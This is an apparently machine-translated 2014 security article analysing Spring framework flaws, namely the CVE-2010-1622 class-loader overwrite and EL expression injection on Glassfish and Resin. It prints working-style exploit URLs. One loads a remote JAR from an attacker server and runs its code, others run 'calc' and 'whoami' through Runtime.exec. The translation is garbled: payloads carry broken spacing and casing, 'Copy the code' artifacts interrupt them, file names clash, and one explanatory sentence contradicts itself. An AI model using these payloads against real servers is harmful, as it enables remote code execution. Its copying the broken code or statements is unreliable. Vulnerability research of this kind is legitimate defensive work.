Tang3 · 2014/09/01 passed

0 x00 overview


Spring is one of the most widely used Java Web frameworks and has a large user base. Also due to the large number of users, The Spring framework has become the target of vulnerability digger’s attention, in the Struts bug crazy now, Spring may be brewing a big crisis.

This article will analyze and discuss potential problems with the framework in light of the serious bugs and problems that have occurred in Spring’s history.

0x01 Variable overwrite problem


Cve-2010-1622 is defined as an arbitrary code execution vulnerability in Spring’s official vulnerability bulletin. However, the main problem with this problem is variable overwriting due to insufficient protection of private members. From the perspective of the cause of vulnerability, it can not be called code execution vulnerability, only variable coverage, code execution is just exploitation.

The Spring framework provides a mechanism for binding parameters and objects, allowing you to bind a class to a Controller. Then, in the Contraller class, you bind a page to a specific handler method that assigns the corresponding value of the page parameter to the object member.

For example, IF I bind a User class, there is a member name in the User class, and the bound page is named test.html. So what if I submit test.html? Name =123, name in the User class is given a value of 123.

If the member is public or provides a set method, it cannot be assigned. The loophole is that this restriction fails, causing members of array types to be assigned in this way if they are not public and do not provide a set method. Let’s look at the code for the class that implements this function:

else if (propValue.getClass().isArray()) { Class requiredType = propValue.getClass().getComponentType(); int arrayIndex = Integer.parseInt(key); Object oldValue = null; try { if (isExtractOldValueForEditor()) { oldValue = Array.get(propValue, arrayIndex); } Object convertedValue = this.typeConverterDelegate.convertIfNecessary( propertyName, oldValue, pv.getValue(), requiredType); Array.set(propValue, Integer.parseInt(key), convertedValue); }
Copy the code

You can see that the array code above does not check whether a member has a set method. Instead of calling the member’s set method, assignments are made directly through array. set, bypassing the set processing mechanism.

On the Bug Finder’s blog, the Java Bean API Introspector. getBeanInfo gets the class property of the POJO’s base class Object. Including this.

And Spring org. Springframework. Beans. CachedIntrospectionResults. Class class, just through the API, through effective member of the user submits the form. This means that, combined with this vulnerability, we can set up a lot of private members via HTTP submissions, which is really scary!

Let’s take a look at how Spring features can be combined with vulnerabilities to exploit them. We mentioned earlier that we can use Java

The Bean gets the ClassLoader object, which has a member of URLs[]. Spring just reads the URL parameters from the WebappClassLoader using the TldLocationsCache class in Jasper and uses it to parse the TLD file. Parsing the TLD allows direct JSP syntax. So this is the end result of remote code execution.

All right, so here we go. Through the bug we can assign URLs[] to the Classloader, and Spring will parse the platform to extract the REQUIRED TLD file from URLs[] and run the CONTENTS of the TLD when executing the JSP.

Had this train of thought, use method to also be vividly come out. Construct a JAR with a malicious TLD file, tell URLs[] the address of the JAR via HTTP, and wait to execute . The utilization effect is shown in the figure:

0x02 EL expression injection problem


In December 2012, Foreign researcher Dana Amodio published the paper Remote Code with Expression Language Injection, which kicked off the prelude of EL Expression Injection in Spring framework.

As expressions become more powerful, there are some serious problems that should never go wrong. And Java Web frameworks generally have the bad habit of using expressions in core code, Struts being a good example. The Spring framework itself does not have code execution problems, but as EL expressions become more powerful, they become a problem. And EL expressions are an expression that Java Web programs use by default, which could be a nightmare for Java Web programs for some time to come.

I used code trace to locate the code where Spring finally executed the EL expression:

private static Object evaluateExpression(String exprValue, Class resultClass, PageContext pageContext)
        throws ELException {

    return pageContext.getExpressionEvaluator().evaluate(
            exprValue, resultClass, pageContext.getVariableResolver(), null);
}
Copy the code

See the general flow of Spring tag attributes executing EL expressions: The tags are first passed to evaluateString or any other method that requires an EL expression, but are eventually passed to doEvaluate, passing the intercepted values to evaluateExpression after some processing. Finally, the evaluateExpression method passes the attribute value as an expression to the platform for execution.

This is really just the beginning of an analysis of the EL expression injection problem, because the real implementation is platform, that is, the operation and execution of EL expressions are different from platform to platform. Therefore, I tested Glassfish and Resin platforms respectively, as well as Tomcat platform, which is popular at present. However, due to some differences between It and Spring framework in the implementation of EL expression, EL expression on Tomcat platform cannot call methods.

Let’s take a look at different methods of using Glassfish and Resin platforms. To take a look at the utilization under Glassfish, we first put a JAR file on our other server that compiles the following code:

public class Malicious { public Malicious() { try { java.lang.Runtime.getRuntime().exec("calc.exe"); //Win } catch (Exception e) { } } }       
Copy the code

We then create an array using the EL expression (the URLClassLoader constructor takes the URL array as an argument) and store it in the session with the URL as

http://target/file? message=${pageContext.request.getSession().setAttribute("arr","".getClass().forName("java.util.ArrayList").newInstance() )}.Copy the code

Next we can create an instance of a URL using the CREATE method provided by the URI. We store this instance in the array we just created. The URL is

http://target/file?message= ${pageContext.request.getSession().getAttribute("arr").add(pageContext.getServletContext().getResource("/").toURI().crea Te (" http://serverip/Malicious.jar "). ToURL ())}.Copy the code

The spy.jar file is the JAR file we saved on another server. The parent of the object obtained by the getClassLoader method in the PageContext class of the EL expression is URLClassLoader, so we can call newInstance with the URL

http://target/file?message= ${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute("arr").t OArray (pageContext. GetClass (). GetClassLoader (). The getParent (). The getURLs ())). The loadClass (" Malicious "). NewInstance ()}.Copy the code

The effect is shown below:

Let’s take a look at the use of Resin environment method, first to see a direct demonstration, access link:

http://localhost:8080/test.do?${pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null) .invoke(null,null).exec("calc",null).toString()}Copy the code

The effect is shown below:

I wanted to write code that could execute commands and echo like Struts, but since EL expressions don’t provide variables and assignments, I was forced to think of a way to do the same. The initial idea is to use the function that EL can store any type of session, store and process the result stream of command execution, and finally convert it into a string and print it on the page.

I found a way to print anything to the page via the println method in the Response object in pageContext provided by EL. For example: access

http://localhost:8080/test.do?a=${pageContext.response.getWriter().println('aaa')}  
Copy the code

500 errors will be returned in which our custom content will be displayed:

The next step is to convert the resulting stream of command execution to a String and print it to the println function. Here is the use code constructed according to my previous ideas:

${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMetho d("getRuntime",null).invoke(null,null).exec("whoami",null).getInputStream())} ${pageContext.request.getSession().setAttribute("b",pageContext.request.getClass().forName("java.io.InputStreamReader"). getConstructor(pageContext.request.getClass().forName("java.io.InputStream")).newInstance(pageContext.request.getSession ().getAttribute("a")))} ${pageContext.request.getSession().setAttribute("c",pageContext.request.getClass().forName("java.io.BufferedReader").new Instance(pageContext.request.getSession().getAttribute("b")))} ${pageContext.request.getSession().setAttribute("d",pageContext.request.getClass().forName("java.lang.Byte").getConstruc tor(pageContext.request.getClass().forName("java.lang.Integer")).newInsTance(51020))} ${pageContext.request.getSession().getAttribute("c").read(pageContext.request.getSession().getAttribute("d"))} ${pageContext.response.getWriter().println(pageContext.request.getSession().getAttribute("d"))}Copy the code

First, the command execution result stream is stored in session attribute A. The contents of the A property are then used as parameters to initialize the InputStreamReader object and store the object to the B property; The third step initializes the BufferedReader object as a parameter from the b property and stores the object to the C property. Step 4 Initialize an array of characters and store it in the D property. The fifth step is to put the content in C into the d property through the read method and convert it into characters. Finally, print out the contents of the d property.

But the final reason I didn’t implement this idea is that when using reflection via EL to initialize an object for which a method needs parameters, the parameter types and the parameter types defined by the method always don’t match. I tried every way I could think of, but couldn’t find a solution .

One possible exploit that came to mind was to generate a JSP backdoor by loading a JAR package that performs write files to a specified directory, using the method used in the Glassfish platform.

The Spring framework uses EL expressions almost exclusively in the tag section. Below we list the tags that use EL expressions.

A label that can execute an EL in a form:

1.    AbstractDataBoundFormElementTag

2.    AbstractFormTag

3.    AbstractHtmlElementTag

4.    AbstractHtmlInputElementTag

5.    AbstractMultiCheckedElementTag

6.    AbstractSingleCheckedElementTag

7.    CheckboxTag

8.    ErrorsTag

9.    FormTag

10.  LabelTag

11.  OptionsTag

12.  OptionTag

13.  RadioButtonTag

14.  SelectTag

The Spring standard tag library implements EL tags:

1.    MessageTag

2.    TransformTag

3.    EscapeBodyTag

4.    setJavaScriptEscape(String)

5.    EvalTag

6.    HtmlEscapeTag

7.    HtmlEscapingAwareTag

8.    UrlTag

9.    BindErrorsTag

10.  doStartTagInternal()

11.  BindTag

12.  NestedPathTag

0 x03 summary


The issue of variable overwriting is a bit of a surprise compared to EL expression injection, and there won’t be many associated problems after the fix. The EL expression problem, a bit like Struts Ognl, is a continuous problem, for its blocking, can only be seen to fill a. After all, the attacker is taking advantage of the functionality provided by EL, so we should not throw out the choking requirement that EL cannot support method calls.